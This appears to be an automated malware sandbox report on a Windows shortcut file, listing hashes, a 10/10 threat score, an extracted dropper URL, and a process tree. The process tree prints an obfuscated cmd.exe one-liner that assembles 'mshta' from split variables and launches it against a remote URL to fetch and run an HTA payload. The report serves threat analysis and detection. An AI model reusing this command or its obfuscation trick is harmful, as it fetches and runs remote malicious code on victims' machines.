Analysis
- max time kernel
150s - max time network
155s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/08/2026, 08:20
Static task
static1
Behavioral task
behavioral1
Sample
DOC-XKPI40.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-XKPI40.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-XKPI40.lnk
- Size 1KB
- Sample260804-j8tagsvdqa
- SHA256 9d1c5b1245fa487b3330fb370b87e51fe55c248fdfa8736ad8b799c53364ca9a
- MD5 b8769d4a11c105d36e5a3a9ef62c268a
- SHA1 b2ade4a78892b583d8d4e19f47f132c31777560b
- SHA512 d0acb928f82d0e86f2af6e8ff2b7b8750f7c2df0d1580d886704faef369b40006bea39ae9dc631197a73d2e5cecd2fcd013c3674e7d833f3532dd0232e2ccec2
- TLSH T1DB3147503FFD0628F3F78F7694BB572485BBB8A58E20CA2E0141454C5072A15E17AF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4536 cmd.exe 4788 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4536 wrote to memory of 4788 4536 cmd.exe 90 PID 4788 wrote to memory of 6328 4788 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-XKPI40.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4536 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /C "set Mnwg=msh&&set oNkM=ta&&start "" !Mnwg!!oNkM! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4788 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:6328
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